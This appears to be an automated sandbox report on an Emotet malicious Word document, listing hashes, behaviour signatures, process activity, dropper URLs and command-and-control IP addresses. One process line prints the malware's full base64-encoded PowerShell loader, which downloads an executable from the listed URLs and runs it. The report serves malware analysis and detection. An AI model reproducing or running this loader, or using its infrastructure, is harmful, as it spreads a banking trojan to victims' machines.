Analysis

  • max time kernel
    114s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28-07-2020 23:59

General

  • Target

    emotet_e3_7fd8cf613203f886b9caec1e8430aa43b9b7147296a23baed2921ef6619a481c_2020-07-28__235850._doc.doc

  • Size

    169KB

  • MD5

    40aec6f1d3556dfcd0e0c5923f21a3f8

  • SHA1

    c67c5114cce46b08c5ed37bc688f286031390e45

  • SHA256

    7fd8cf613203f886b9caec1e8430aa43b9b7147296a23baed2921ef6619a481c

  • SHA512

    e1dd23cd1076b5e368a01a6a7ce5eea7cea0b3bb941f40591aa50a4b4404dacfc63921692e521664a8f043180f963b20ff517b595ea49d81dfc8d5f900f73cc4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://mossfs.com.au/wp-content/fVrTuWOb/

exe.dropper

https://rtisistemas.com.br/jdetsob/Ov3a8106w4g7x17030547/

exe.dropper

http://slbqms.co.ls/cgi-bin/CHrsuXU/

exe.dropper

http://sertcom.net/_vti_bin/LiUoBmTHW/

exe.dropper

http://skpsoft.com/wp-admin/YnsFh/

Extracted

Family

emotet

C2

177.37.81.212:443

74.207.230.187:8080

190.164.75.175:80

87.252.100.28:80

105.209.239.55:80

163.172.107.70:8080

37.208.106.146:8080

24.157.25.203:80

212.112.113.235:80

140.207.113.106:443

75.139.38.211:80

192.210.217.94:8080

46.49.124.53:80

75.127.14.170:8080

87.106.231.60:8080

139.59.12.63:8080

181.167.35.84:80

201.214.108.231:80

74.208.173.91:8080

189.146.1.78:443

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies registry class 280 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_7fd8cf613203f886b9caec1e8430aa43b9b7147296a23baed2921ef6619a481c_2020-07-28__235850._doc.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABZAFEAUABBAE8AYQBzAHIAPQAnAFkARABOAFIATQByAGoAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIAYABpAFQAWQBwAFIAYABPAFQATwBgAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABEAEIAQQBKAEcAawBtAGUAIAA9ACAAJwA0ADkAJwA7ACQATgBGAEQASQBNAGQAaABjAD0AJwBQAEEARQBIAFQAbABwAGMAJwA7ACQAVwBSAFkAUwBZAHMAeABpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEIAQQBKAEcAawBtAGUAKwAnAC4AZQB4AGUAJwA7ACQAVwBDAFkAQQBHAHkAeQBlAD0AJwBNAFAASgBaAEQAagBiAHIAJwA7ACQAWABLAEQAQQBLAGIAegBzAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAEUATgB0ADsAJABHAEQAVwBHAFUAZwBsAGQAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AcwBzAGYAcwAuAGMAbwBtAC4AYQB1AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAVgByAFQAdQBXAE8AYgAvACoAaAB0AHQAcABzADoALwAvAHIAdABpAHMAaQBzAHQAZQBtAGEAcwAuAGMAbwBtAC4AYgByAC8AagBkAGUAdABzAG8AYgAvAE8AdgAzAGEAOAAxADAANgB3ADQAZwA3AHgAMQA3ADAAMwAwADUANAA3AC8AKgBoAHQAdABwADoALwAvAHMAbABiAHEAbQBzAC4AYwBvAC4AbABzAC8AYwBnAGkALQBiAGkAbgAvAEMASAByAHMAdQBYAFUALwAqAGgAdAB0AHAAOgAvAC8AcwBlAHIAdABjAG8AbQAuAG4AZQB0AC8AXwB2AHQAaQBfAGIAaQBuAC8ATABpAFUAbwBCAG0AVABIAFcALwAqAGgAdAB0AHAAOgAvAC8AcwBrAHAAcwBvAGYAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWQBuAHMARgBoAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAEgARABXAEcAeQBtAGMAPQAnAFUAVgBVAEcAWABvAGgAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBHAE8AVQBYAG0AbgB0ACAAaQBuACAAJABHAEQAVwBHAFUAZwBsAGQAKQB7AHQAcgB5AHsAJABYAEsARABBAEsAYgB6AHMALgAiAGQAYABvAFcATgBsAG8AYABBAGAARABGAGkAbABlACIAKAAkAFkARwBPAFUAWABtAG4AdAAsACAAJABXAFIAWQBTAFkAcwB4AGkAKQA7ACQATQBOAFkARgBLAGgAbgB2AD0AJwBYAFAAVwBVAEYAYgBxAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABXAFIAWQBTAFkAcwB4AGkAKQAuACIATABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADUAOQA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AGUAIgAoACQAVwBSAFkAUwBZAHMAeABpACkAOwAkAFoAVgBaAE8ARQBlAGUAaQA9ACcARwBSAFUAUwBYAGsAcABkACcAOwBiAHIAZQBhAGsAOwAkAFAAWABWAEoATABrAG8AbgA9ACcAWgBQAFMAUABEAHQAaQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AWgBVAEEARwB5AHIAcAA9ACcAQwBXAFoASwBRAHgAdABlACcA
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Modifies system certificate store
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1884
  • C:\Users\Admin\49.exe
    C:\Users\Admin\49.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\SysWOW64\relog\inetmib1.exe
      "C:\Windows\SysWOW64\relog\inetmib1.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1584

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1584-15-0x0000000000240000-0x000000000024C000-memory.dmp

    Filesize

    48KB

  • memory/1612-2-0x0000000009550000-0x0000000009554000-memory.dmp

    Filesize

    16KB

  • memory/1612-5-0x000000000B6C0000-0x000000000B6C4000-memory.dmp

    Filesize

    16KB

  • memory/1612-6-0x000000000C740000-0x000000000C744000-memory.dmp

    Filesize

    16KB

  • memory/1612-8-0x0000000007AB0000-0x0000000007CB0000-memory.dmp

    Filesize

    2.0MB

  • memory/1612-9-0x0000000002100000-0x0000000002101000-memory.dmp

    Filesize

    4KB

  • memory/1852-11-0x0000000000290000-0x000000000029C000-memory.dmp

    Filesize

    48KB